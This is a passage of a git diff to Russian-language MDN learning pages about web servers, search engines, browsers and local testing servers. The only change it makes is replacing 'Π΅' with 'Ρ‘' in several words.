-<p><em>Π’Π΅Π±-сСрвСр</em> - это ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€, ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ Π² ΡΠ΅Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ мноТСство <em>Π²Π΅Π±-сайтов (хостинг)</em>. ΠŸΠΎΠ½ΡΡ‚ΠΈΠ΅ "хостинг" - ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ всС <em>страницы </em>ΠΈ ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Π΅Π½Π½Ρ‹Π΅ ΠΊ Π½ΠΈΠΌ Ρ„Π°ΠΉΠ»Ρ‹ содСрТатся Π½Π° Π΄Π°Π½Π½ΠΎΠΌ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅. Π’.Π΅.Β <em>Π’Π΅Π±-сСрвСр</em>Β Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ Π»ΡŽΠ±ΡƒΡŽΒ <em>страницу</em> с <em>сайта</em> ΠΏΠΎ запросу любого ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Ρ‡Ρ‚ΠΎ ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ хостингом для Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</p>
+<p><em>Π’Π΅Π±-сСрвСр</em> - это ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€, ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ Π² ΡΠ΅Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ мноТСство <em>Π²Π΅Π±-сайтов (хостинг)</em>. ΠŸΠΎΠ½ΡΡ‚ΠΈΠ΅ "хостинг" - ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ всС <em>страницы </em>ΠΈ ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Ρ‘Π½Π½Ρ‹Π΅ ΠΊ Π½ΠΈΠΌ Ρ„Π°ΠΉΠ»Ρ‹ содСрТатся Π½Π° Π΄Π°Π½Π½ΠΎΠΌ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅. Π’.Π΅.Β <em>Π’Π΅Π±-сСрвСр</em>Β Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ Π»ΡŽΠ±ΡƒΡŽΒ <em>страницу</em> с <em>сайта</em> ΠΏΠΎ запросу любого ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Ρ‡Ρ‚ΠΎ ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ хостингом для Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</p>
-<p>НС ΠΏΡƒΡ‚Π°ΠΉΡ‚Π΅ понятия <em>Π²Π΅Π±-сайта</em> ΠΈ <em>Π²Π΅Π±-сСрвСра</em>. НапримСр, Ссли Π’Ρ‹ ΡΠ»Ρ‹ΡˆΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΊΡ‚ΠΎ-Π»ΠΈΠ±ΠΎ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚: "Мой Π²Π΅Π±-сайт Π½Π΅ ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚", Π½Π° самом Π΄Π΅Π»Π΅ это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ это <em>Π²Π΅Π±-сСрвСр</em> Π½Π΅ ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ Π½Π° запрос, ΠΈ поэтому нСдоступСн ΠΈ сам <em>сайт.</em> Π‘ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΠ³ΠΎ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π²Π΅Π±-сСрвСр ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ нСсколько сайтов, Ρ‚Π΅Ρ€ΠΌΠΈΠ½ Π²Π΅Π±-сСрвСр Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡΒ Π΄Π»Ρ обозначСния Π²Π΅Π±-сайта, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ это ΠΌΠΎΠ³Π»ΠΎ Π±Ρ‹ привСсти ΠΊ большой ΠΏΡƒΡ‚Π°Π½ΠΈΡ†Π΅. ВСрнСмся ΠΊ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌΡƒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ: Ссли Π±Ρ‹ ΠΌΡ‹ сказали: "Мой Π²Π΅Π±-сСрвСр Π½Π΅ ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚", это Π·Π½Π°Ρ‡ΠΈΠ»ΠΎ Π±Ρ‹, Ρ‡Ρ‚ΠΎ Π½Π° этом сСрвСрС Π½Π΅Ρ‚ доступных сайтов Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚.</p>
+<p>НС ΠΏΡƒΡ‚Π°ΠΉΡ‚Π΅ понятия <em>Π²Π΅Π±-сайта</em> ΠΈ <em>Π²Π΅Π±-сСрвСра</em>. НапримСр, Ссли Π’Ρ‹ ΡΠ»Ρ‹ΡˆΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΊΡ‚ΠΎ-Π»ΠΈΠ±ΠΎ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚: "Мой Π²Π΅Π±-сайт Π½Π΅ ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚", Π½Π° самом Π΄Π΅Π»Π΅ это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ это <em>Π²Π΅Π±-сСрвСр</em> Π½Π΅ ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ Π½Π° запрос, ΠΈ поэтому нСдоступСн ΠΈ сам <em>сайт.</em> Π‘ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΠ³ΠΎ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π²Π΅Π±-сСрвСр ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ нСсколько сайтов, Ρ‚Π΅Ρ€ΠΌΠΈΠ½ Π²Π΅Π±-сСрвСр Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡΒ Π΄Π»Ρ обозначСния Π²Π΅Π±-сайта, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ это ΠΌΠΎΠ³Π»ΠΎ Π±Ρ‹ привСсти ΠΊ большой ΠΏΡƒΡ‚Π°Π½ΠΈΡ†Π΅. ВСрнёмся ΠΊ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌΡƒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ: Ссли Π±Ρ‹ ΠΌΡ‹ сказали: "Мой Π²Π΅Π±-сСрвСр Π½Π΅ ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚", это Π·Π½Π°Ρ‡ΠΈΠ»ΠΎ Π±Ρ‹, Ρ‡Ρ‚ΠΎ Π½Π° этом сСрвСрС Π½Π΅Ρ‚ доступных сайтов Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚.</p>
<h3 id="Поисковая_систСма">Поисковая систСма</h3>
-<p><em>ΠŸΠΎΠΈΡΠΊΠΎΠ²Ρ‹Π΅ систСмы</em> ΡΠ²Π»ΡΡŽΡ‚ΡΡ распространСнной ΠΏΡ€ΠΈΡ‡ΠΈΠ½ΠΎΠΉ ΠΏΡƒΡ‚Π°Π½ΠΈΡ†Ρ‹ Π² сСти. <em>Поисковая систСма</em> - это ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ Π²ΠΈΠ΄ Π²Π΅Π±-сайта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ Π½Π°ΠΉΡ‚ΠΈ Π½ΡƒΠΆΠ½Ρ‹Π΅ страницы <em>Π΄Ρ€ΡƒΠ³ΠΈΡ…</em> сайтов.</p>
+<p><em>ΠŸΠΎΠΈΡΠΊΠΎΠ²Ρ‹Π΅ систСмы</em> ΡΠ²Π»ΡΡŽΡ‚ΡΡ распространённой ΠΏΡ€ΠΈΡ‡ΠΈΠ½ΠΎΠΉ ΠΏΡƒΡ‚Π°Π½ΠΈΡ†Ρ‹ Π² сСти. <em>Поисковая систСма</em> - это ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ Π²ΠΈΠ΄ Π²Π΅Π±-сайта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ Π½Π°ΠΉΡ‚ΠΈ Π½ΡƒΠΆΠ½Ρ‹Π΅ страницы <em>Π΄Ρ€ΡƒΠ³ΠΈΡ…</em> сайтов.</p>
-<p>НаиболСС популярныС поисковыС систСмы: <a href="https://www.google.com/">Google</a>, <a href="https://www.bing.com/">Bing</a>, <a href="https://www.yandex.com/">Yandex</a>, <a href="https://duckduckgo.com/">DuckDuckGo</a>, ΠΈ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅. НСкоторыС ΠΈΠ· Π½ΠΈΡ… ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½Ρ‹, Π° ΠΊΠ°ΠΊΠΈΠ΅-Ρ‚ΠΎ ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹Β Π½Π°Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽΒ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Ρ‚ΠΎΡ‚ поисковик, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠ΄ΠΎΠ±Π΅Π½ Π’Π°ΠΌ.</p>
+<p>НаиболСС популярныС поисковыС систСмы: <a href="https://www.google.com/">Google</a>, <a href="https://www.bing.com/">Bing</a>, <a href="https://www.yandex.com/">Yandex</a>, <a href="https://duckduckgo.com/">DuckDuckGo</a>, ΠΈ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅. НСкоторыС ΠΈΠ· Π½ΠΈΡ… ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½Ρ‹, Π° ΠΊΠ°ΠΊΠΈΠ΅-Ρ‚ΠΎ ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹Β Π½Π°Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽΒ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Ρ‚ΠΎΡ‚ поисковик, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠ΄ΠΎΠ±Π΅Π½ Π’Π°ΠΌ.</p>
-<p>МногиС Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΡΠ΅Ρ‚ΠΈΒ ΠΏΡƒΡ‚Π°ΡŽΡ‚ ΠΌΠ΅ΠΆΠ΄Ρƒ собой ΠΏΠΎΠΈΡΠΊΠΎΠ²ΡƒΡŽ систСму ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€. Π”Π°Π²Π°ΠΉΡ‚Π΅ поясним: <em><strong>Π±Ρ€Π°ΡƒΠ·Π΅Ρ€</strong></em> - это ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ΅ обСспСчСниС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ Π²Π΅Π±-страницы; <strong><em>поисковая систСма</em></strong> - это ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ Π²ΠΈΠ΄ сайта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ Π½Π°ΠΉΡ‚ΠΈ Π½ΡƒΠΆΠ½Ρ‹Π΅ страницы <em>Π΄Ρ€ΡƒΠ³ΠΈΡ…</em> сайтов. ΠŸΡƒΡ‚Π°Π½ΠΈΡ†Π° Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ ΠΈΠ·-Π·Π° Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ³Π΄Π° ΠΊΡ‚ΠΎ-Π»ΠΈΠ±ΠΎ Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ запускаСт Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, Ρ‚ΠΎΡ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ домашнюю страницу поисковой систСмы.Β Π­Ρ‚ΠΎ ΠΈΠΌΠ΅Π½Π½ΠΎ Ρ‚Π°ΠΊ, вСдь ΠΏΠ΅Ρ€Π²ΠΎΠ΅, Ρ‡Ρ‚ΠΎ Π’Ρ‹ Π΄Π΅Π»Π°Π΅Ρ‚Π΅, запуская Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, это Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚Π΅ Π²Π΅Π±-страницу ΠΈ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚Π΅ Π΅Π΅. Но Π½Π΅ ΠΏΡƒΡ‚Π°ΠΉΡ‚Π΅ инфраструктуру (Ρ‚.Π΅. Π±Ρ€Π°ΡƒΠ·Π΅Ρ€) с сСрвисом (Ρ‚.Π΅. поисковой систСмой). Π­Ρ‚ΠΎ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ нСсколько ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π’Π°ΠΌ, Π½ΠΎ Π΄Π°ΠΆΠ΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ спСциалисты ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎ ΡƒΠΏΠΎΡ‚Ρ€Π΅Π±Π»ΡΡŽΡ‚ Π΄Π°Π½Π½Ρ‹Π΅ понятия, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΈΠ·-Π·Π° этого Π½Π΅ слСдуСт особо ΠΏΠ΅Ρ€Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ.Β </p>
+<p>МногиС Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΡΠ΅Ρ‚ΠΈΒ ΠΏΡƒΡ‚Π°ΡŽΡ‚ ΠΌΠ΅ΠΆΠ΄Ρƒ собой ΠΏΠΎΠΈΡΠΊΠΎΠ²ΡƒΡŽ систСму ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€. Π”Π°Π²Π°ΠΉΡ‚Π΅ поясним: <em><strong>Π±Ρ€Π°ΡƒΠ·Π΅Ρ€</strong></em> - это ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ΅ обСспСчСниС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ Π²Π΅Π±-страницы; <strong><em>поисковая систСма</em></strong> - это ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ Π²ΠΈΠ΄ сайта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ Π½Π°ΠΉΡ‚ΠΈ Π½ΡƒΠΆΠ½Ρ‹Π΅ страницы <em>Π΄Ρ€ΡƒΠ³ΠΈΡ…</em> сайтов. ΠŸΡƒΡ‚Π°Π½ΠΈΡ†Π° Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ ΠΈΠ·-Π·Π° Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ³Π΄Π° ΠΊΡ‚ΠΎ-Π»ΠΈΠ±ΠΎ Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ запускаСт Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, Ρ‚ΠΎΡ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ домашнюю страницу поисковой систСмы.Β Π­Ρ‚ΠΎ ΠΈΠΌΠ΅Π½Π½ΠΎ Ρ‚Π°ΠΊ, вСдь ΠΏΠ΅Ρ€Π²ΠΎΠ΅, Ρ‡Ρ‚ΠΎ Π’Ρ‹ Π΄Π΅Π»Π°Π΅Ρ‚Π΅, запуская Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, это Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚Π΅ Π²Π΅Π±-страницу ΠΈ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚Π΅ Π΅Ρ‘. Но Π½Π΅ ΠΏΡƒΡ‚Π°ΠΉΡ‚Π΅ инфраструктуру (Ρ‚.Π΅. Π±Ρ€Π°ΡƒΠ·Π΅Ρ€) с сСрвисом (Ρ‚.Π΅. поисковой систСмой). Π­Ρ‚ΠΎ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ нСсколько ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π’Π°ΠΌ, Π½ΠΎ Π΄Π°ΠΆΠ΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ спСциалисты ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎ ΡƒΠΏΠΎΡ‚Ρ€Π΅Π±Π»ΡΡŽΡ‚ Π΄Π°Π½Π½Ρ‹Π΅ понятия, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΈΠ·-Π·Π° этого Π½Π΅ слСдуСт особо ΠΏΠ΅Ρ€Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ.Β </p>
<p>НиТС ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Firerox ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ ΠΎΠΊΠ½ΠΎ поиска Google Π½Π° стартовой (домашнСй) страницС:</p>
diff --git a/files/ru/learn/common_questions/set_up_a_local_testing_server/index.html b/files/ru/learn/common_questions/set_up_a_local_testing_server/index.html
index 107fde3801..b83a09368d 100644
--- a/files/ru/learn/common_questions/set_up_a_local_testing_server/index.html
+++ b/files/ru/learn/common_questions/set_up_a_local_testing_server/index.html
@@ -22,15 +22,15 @@ translation_of: Learn/Common_questions/set_up_a_local_testing_server
</tbody>
</table>
-<h2 id="Π›ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Π΅_ΠΈ_ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹Π΅_Ρ„Π°ΠΉΠ»Ρ‹">Π›ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Π΅ ΠΈ ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹</h2>
+<h2 id="Π›ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Π΅_ΠΈ_ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹Π΅_Ρ„Π°ΠΉΠ»Ρ‹">Π›ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Π΅ ΠΈ ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹</h2>
<p>На протяТСнии всСго обучСния, Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ нСпосрСдствСнно Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ β€” Π΄Π²ΠΎΠΉΠ½Ρ‹ΠΌ ΠΊΠ»ΠΈΠΊΠΎΠΌ ΠΏΠΎ HTML Ρ„Π°ΠΉΠ»Ρƒ, пСрСтаскиваниСм Ρ„Π°ΠΉΠ»Π° Π² ΠΎΠΊΠ½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, ΠΈΠ»ΠΈ Ρ‡Π΅Ρ€Π΅Π· мСню <em>File</em> &gt; <em>Open...</em> ΠΈ указывая Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ΠΉ HTML Ρ„Π°ΠΉΠ». БущСствуСт мноТСство способов ΠΊΠ°ΠΊ это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ.</p>
-<p>Если Π²Π΅Π±-адрСс начинаСтся с <code>file://</code>Β Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π΄Π°Π»Π΅Π΅ прописан ΠΏΡƒΡ‚ΡŒ ΠΊ Ρ„Π°ΠΉΠ»Ρƒ Π½Π° вашСм локальном ТСстком дискС, Π·Π½Π°Ρ‡ΠΈΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ„Π°ΠΉΠ». Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΠΎΠ»ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ этому, Ссли Π²Ρ‹ ΠΎΡ‚ΠΊΡ€ΠΎΠ΅Ρ‚Π΅ Π½Π° просмотр ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π½Π°ΡˆΠΈΡ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ², располоТСнных Π½Π° GitHub (ΠΈΠ»ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ располоТСнный Π½Π° любом Π΄Ρ€ΡƒΠ³ΠΎΠΌ ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠΌ сСрвСрС), Π²Π΅Π±-адрСс Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒΡΡ с <code>http://</code> ΠΈΠ»ΠΈ <code>https://</code>, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Ρ‡Ρ‚ΠΎ Ρ„Π°ΠΉΠ» Π±Ρ‹Π» ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ Ρ‡Π΅Ρ€Π΅Π· HTTP.</p>
+<p>Если Π²Π΅Π±-адрСс начинаСтся с <code>file://</code>Β Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π΄Π°Π»Π΅Π΅ прописан ΠΏΡƒΡ‚ΡŒ ΠΊ Ρ„Π°ΠΉΠ»Ρƒ Π½Π° вашСм локальном Тёстком дискС, Π·Π½Π°Ρ‡ΠΈΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ„Π°ΠΉΠ». Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΠΎΠ»ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ этому, Ссли Π²Ρ‹ ΠΎΡ‚ΠΊΡ€ΠΎΠ΅Ρ‚Π΅ Π½Π° просмотр ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π½Π°ΡˆΠΈΡ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ², располоТСнных Π½Π° GitHub (ΠΈΠ»ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ располоТСнный Π½Π° любом Π΄Ρ€ΡƒΠ³ΠΎΠΌ ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠΌ сСрвСрС), Π²Π΅Π±-адрСс Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒΡΡ с <code>http://</code> ΠΈΠ»ΠΈ <code>https://</code>, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Ρ‡Ρ‚ΠΎ Ρ„Π°ΠΉΠ» Π±Ρ‹Π» ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ Ρ‡Π΅Ρ€Π΅Π· HTTP.</p>
<h2 id="ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹_тСстирования_Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Ρ…_Ρ„Π°ΠΉΠ»ΠΎΠ²">ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ тСстирования Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ²</h2>
-<p>НСкоторыС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π½Π΅ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒΡΡ, Ссли Π²Ρ‹ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅Ρ‚Π΅ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΈΡ… ΠΊΠ°ΠΊ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΡ‚ΠΈ ΠΏΠΎ нСскольким ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ, самыС распространСнныС ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ…:</p>
